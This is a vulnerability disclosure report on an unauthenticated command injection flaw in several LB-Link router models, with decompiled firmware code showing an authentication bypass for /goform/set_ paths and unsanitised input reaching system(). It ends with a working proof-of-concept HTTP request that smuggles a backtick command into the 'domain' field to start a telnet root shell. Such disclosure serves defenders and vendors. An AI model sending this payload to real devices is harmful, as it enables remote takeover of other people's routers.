Information

Vendor of the products: Shenzhen Bilian Electronic Limited Co., Ltd（LB-Link）

Vendor's website: 必联（LB-LINK）官方网站

Reported by: Wang JinShuai(3265296623@qq.com)，Tang BingCheng(2640807724@qq.com)

Affected products: BL-AC2100 \ BL-WR4000 \ BL-WR9000 \ BL-AC1900 \ BL-X26 \ BL-LTE300

Affected firmware version: BL-AC2100_AZ3 V1.0.4 \ BL-WR4000 v2.5.0 \ BL-WR9000_AE4 v2.4.9 \ BL-AC1900_AZ2 v1.0.2 \ BL-X26_AC8 v1.2.8 \ BL-LTE300_DA4 V1.2.3

Firmware download address: 下载中心 必联（LB-LINK）官方网站

Overview

The LB-Link routers, including the BL-AC2100_AZ3 V1.0.4, BL-WR4000 v2.5.0, BL-WR9000_AE4 v2.4.9, BL-AC1900_AZ2 v1.0.2, BL-X26_AC8 v1.2.8, and BL-LTE300_DA4 V1.2.3 models, are vulnerable to unauthorized command injection. Attackers can exploit this vulnerability by accessing the /goform/set_serial_cfg interface to gain the highest level of device privileges without authorization, enabling them to remotely execute malicious commands.

Vulnerability details

By analyzing the binary file `/bin/goahead` of the network device that provides web services, an unauthorized command injection vulnerability was discovered. In the authentication function `websSecurityHandler`, when the URL prefix is `/goform/set_`, the function directly returns 0, allowing unauthorized access whenever the URL prefix is `/goform/set_`.

```
267   if ( !strncmp(a5, "/goform/set_", 12) )
268   {
269     *(_DWORD *)v111 = a1[10];
270     return 0;
271   }
```

Further analysis of the libc library `libshare-0.0.26.so` revealed a command injection vulnerability in the `bs_SetSerial` function.

The `bs_SetSerial` function is invoked within the `set_serial_cfg` function in the `/bin/goahead` file.

```
websFormDefine("set_serial_cfg", sub_453C60);
```

In the function corresponding to `set_serial_cfg`, the values of user input fields, such as `domain`, are directly passed to the `bs_SetSerial` function through a structure.

```
Object = cJSON_CreateObject();
String = cJSON_CreateString("setserialinfo");
cJSON_AddItemToObject(Object, "type", String);
Var = websGetVar(a1, "network", "");
v22 = websGetVar(a1, "port", "");
v23 = websGetVar(a1, "domain", "");
v24 = websGetVar(a1, "ser_status", "");
v28 = 4653056;
v25 = websGetVar(a1, "baud", "");
v26 = websGetVar(a1, "COM", "");
v27 = websGetVar(a1, "data", "");
v29 = websGetVar(a1, "verify", "");
v32 = 4653056;
v30 = websGetVar(a1, "stop", "");
v31 = websGetVar(a1, "flow", "");
v5 = cJSON_CreateString(Var);
cJSON_AddItemToObject(Object, "network", v5);
v6 = cJSON_CreateString(v22);
cJSON_AddItemToObject(Object, "port", v6);
v7 = cJSON_CreateString(v23);
cJSON_AddItemToObject(Object, "domain", v7);
v8 = cJSON_CreateString(v24);
cJSON_AddItemToObject(Object, "ser_status", v8);
v9 = cJSON_CreateString(v25);
cJSON_AddItemToObject(Object, "baud", v9);
v10 = cJSON_CreateString(v26);
cJSON_AddItemToObject(Object, "COM", v10);
v11 = cJSON_CreateString(v27);
cJSON_AddItemToObject(Object, "data", v11);
v12 = cJSON_CreateString(v29);
cJSON_AddItemToObject(Object, "verify", v12);
v13 = cJSON_CreateString(v30);
cJSON_AddItemToObject(Object, "stop", v13);
v14 = cJSON_CreateString(v31);
cJSON_AddItemToObject(Object, "flow", v14);
```

```
v19 = (const char *)cJSON_PrintUnformatted(Object);
bl_print(3, "CGI_json.c", "set_serial_cfg", 2516, "info = %s\n", v19);
bs_SetSerial(v19, v21);
```

In the `bs_SetSerial` function, the values of user input fields, such as `domain`, are assigned to `v14`, then through `snprintf`, they are assigned to the variable `v34`, which is eventually passed to the `bl_do_system` function.

```
v3 = cJSON_Parse(a1);
if ( v3 )
{
  memset(v34, 0, sizeof(v34));
  Object = cJSON_CreateObject(v5);
  String = cJSON_CreateString("setserialinfo");
  cJSON_AddItemToObject(Object, "type", String);
  bl_print(3, "libshare.c", "bs_SetSerial", "increase_escape_function", "in = %s\n", a1);
  ObjectItem = cJSON_GetObjectItem(v3, "type");
  v35 = 0;
  if ( ObjectItem )
    v35 = *(_DWORD *)(ObjectItem + 16);
  v8 = cJSON_GetObjectItem(v3, "ser_status");
  v9 = 0;
  if ( v8 )
    v9 = *(_DWORD *)(v8 + 16);
  v10 = cJSON_GetObjectItem(v3, "network");
  v11 = 0;
  if ( v10 )
    v11 = *(const char **)(v10 + 16);
  v12 = cJSON_GetObjectItem(v3, "port");
  v36 = 0;
  if ( v12 )
    v36 = *(const char **)(v12 + 0x10);
  v13 = cJSON_GetObjectItem(v3, "domain");
  v14 = 0;
  if ( v13 )
    v14 = *(const char **)(v13 + 16);
  v15 = cJSON_GetObjectItem(v3, "baud");
  v16 = 0;
  if ( v15 )
    v16 = *(const char **)(v15 + 16);
  v17 = cJSON_GetObjectItem(v3, "COM");
  v18 = 0;
  if ( v17 )
```

!

```
113     if ( !strcmp(v11, "UDP") )
114     {
115       sprintf(
116         v34,
117         "net_serial -S %s -P %s -p %s -B %s -C %s -D %s -c %s -s %s &",
118         v14,
119         v11,
120         v36,
121         v16,
122         v18,
123         v20,
124         v22,
125         v24);
126       nvram_bufset(0, "ser_auth", "");
```

```
220     Number = cJSON_CreateNumber(0, 0);
221     cJSON_AddItemToObject(Object, "result", Number);
222     bl_do_system(v34);
223   }
```

The final `bl_do_system` function passes the parameters to the `system` function. Since there is no strict parameter validation during the transfer of user-supplied content, an attacker can construct a system command using backticks, such as `telnetd -l /bin/sh -p 1234`, to start the router's `telnetd` service. This allows the attacker to gain the highest level of device privileges and execute arbitrary commands.

```
1 int __fastcall bl_do_system(int a1)
2 {
3   _BYTE v3[516]; // [sp+1Ch] [-204h] BYREF
4
5   memset(v3, 0, 512);
6   vsnprintf(v3, 512, a1);
7   return system(v3);
8 }
```

POC

```
POST /goform/set_serial_cfg HTTP/1.1
Host: 192.168.16.1
Content-Length: 79
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.16.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.16.1/login.asp
Accept-Encoding: gzip, deflate, br
Cookie: platform=0
Connection: keep-alive

type=setserialinfo&ser_status=1&network=UDP&domain=`telnetd -l /bin/sh -p 1234`
```

Effect Demonstration